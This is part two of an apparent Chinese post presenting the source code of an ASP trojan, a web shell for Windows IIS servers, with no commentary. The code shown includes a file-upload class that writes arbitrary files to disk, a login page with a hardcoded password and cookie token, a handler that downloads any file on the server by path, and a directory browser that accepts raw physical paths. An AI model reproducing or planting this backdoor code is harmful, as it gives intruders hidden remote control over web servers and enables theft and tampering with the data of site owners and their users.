一个ASP木马程序的源代码(2)

     Private function GetFilePath(FullPath)
  If FullPath ＜＞ "" Then
  GetFilePath = left(FullPath,InStrRev(FullPath, "\"))
  Else
  GetFilePath = ""
  End If
  End function
  
  Private function GetFileName(FullPath)
  If FullPath ＜＞ "" Then
  GetFileName = mid(FullPath,InStrRev(FullPath, "\")+1)
  Else
  GetFileName = ""
  End If
  End function
  End Class
  
  Class FileInfo
  dim FormName,FileName,FilePath,FileSize,FileType,FileStart
  Private Sub Class_Initialize
  FileName = ""
  FilePath = ""
  FileSize = 0
  FileStart= 0
  FormName = ""
  FileType = ""
  End Sub
  
  Public function SaveAs(FullPath)
  dim dr,ErrorChar,i
  SaveAs=true
  if trim(fullpath)="" or FileStart=0 or FileName="" or right(fullpath,1)="/" then exit function
  set dr=CreateObject("Adodb.Stream")
  dr.Mode=3
  dr.Type=1
  dr.Open
  Data_5xsoft.position=FileStart
  Data_5xsoft.copyto dr,FileSize
  dr.SaveToFile FullPath,2
  dr.Close
  set dr=nothing
  SaveAs=false
  end function
  End Class
  httpt = Request.ServerVariables("server_name")
  rseb=Request.ServerVariables("SCRIPT_NAME")
  q=request("q")
  if q="" then q=rseb
  select case q
  case rseb
  if Epass(trim(request.form("password")))="q_ux888556" then
  response.cookies("password")="7758521"
  response.redirect rseb & "?q=list.ASP"
  else %＞
  ＜html＞
  ＜head＞
  ＜meta http-equiv="Content-Type" content="text/html; charset=gb2312"＞
  ＜title＞＜%=httpt%＞＜/title＞
  ＜meta name="GENERATOR" content="Microsoft FrontPage 3.0"＞
  ＜/head＞
  
  ＜body＞
  ＜%if request.form("password")＜＞"" then
  response.write "Password Error!"
  end if
  %＞
  
  ＜table border="1" width="100%" height="89" bgcolor="#DFDFFF" cellpadding="3"
  bordercolorlight="#000000" bordercolordark="#F2F2F9" cellspacing="0"＞
  ＜tr＞
  ＜td width="100%" height="31" bgcolor="#000080"＞＜p align="center"＞＜font color="#FFFFFF"＞＜%=httpt%＞＜/font＞＜/td＞
  ＜/tr＞
  ＜tr＞
  ＜td width="100%" height="46"＞＜form method="POST" action="＜%=rseb%＞?q=＜%=rseb%＞"＞
  ＜div align="center"＞＜center＞＜p＞Enter Password：＜input type="password" name="password"
  size="20"
  style="border-left: thin none; border-right: thin none; border-top: thin outset; border-bottom: thin outset"＞
  ＜input type="submit" value="OK!LOGIN" name="B1"
  style="font-size: 9pt; border: thin outset"＞＜/p＞
  ＜/center＞＜/div＞
  ＜/form＞
  ＜/td＞
  ＜/tr＞
  ＜/table＞
  ＜/body＞
  ＜/html＞
  ＜%end if%＞
  
  ＜%case "down.asp"
  call downloadFile(request("path"))
  function downloadFile(strFile)
  strFilename = strFile
  Response.Buffer = True
  Response.Clear
  set s = Server.CreateObject("adodb.stream")
  s.Open
  s.Type = 1
  if not oFileSys.FileExists(strFilename) then
  Response.Write("＜h1＞Error:＜/h1＞" & strFilename & " does not exist＜p＞")
  Response.End
  end if
  Set f = oFileSys.GetFile(strFilename)
  intFilelength = f.size
  s.LoadFromFile(strFilename)
  if err then
  Response.Write("＜h1＞Error: ＜/h1＞" & err.Description & "＜p＞")
  Response.End
  end if
  Response.AddHeader "Content-Disposition", "attachment; filename=" & f.name
  Response.AddHeader "Content-Length", intFilelength
  Response.CharSet = "UTF-8"
  Response.ContentType = "application/octet-stream"
  Response.BinaryWrite s.Read
  Response.Flush
  s.Close
  Set s = Nothing
  response.end
  End Function
  %＞
  ＜%case "list.asp"%＞
  ＜%
  urlpath=server.urlencode(path)
  if Request.Cookies("password")="7758521" then
  dim cpath,lpath
  if Request("path")="" then
  lpath="/"
  else
  lpath=Request("path")&"/"
  end if
  if Request("attrib")="true" then
  cpath=lpath
  attrib="true"
  else
  cpath=Server.MapPath(lpath)
  attrib=""
  end if
  Sub GetFolder()
  dim theFolder,theSubFolders
  if oFileSys.FolderExists(cpath)then
  Set theFolder=oFileSys.GetFolder(cpath)
  Set theSubFolders=theFolder.SubFolders
  Response.write"＜a href='" & rseb & "?q=list.asp&path="&Request("oldpath")&"&attrib="&attrib&"'＞＜font color='#FF8000'＞■＜/font＞↑＜font color='ff2222'＞回上级目录＜/font＞＜/a＞＜br＞＜script language=VBScript＞"
  For Each x In theSubFolders
  %＞so "＜%=lpath%＞","＜%=x.Name%＞","＜%=request("path")%＞","＜%=attrib%＞"
  ＜%
  Next
  %＞＜/script＞＜%
  end if
  End Sub
  
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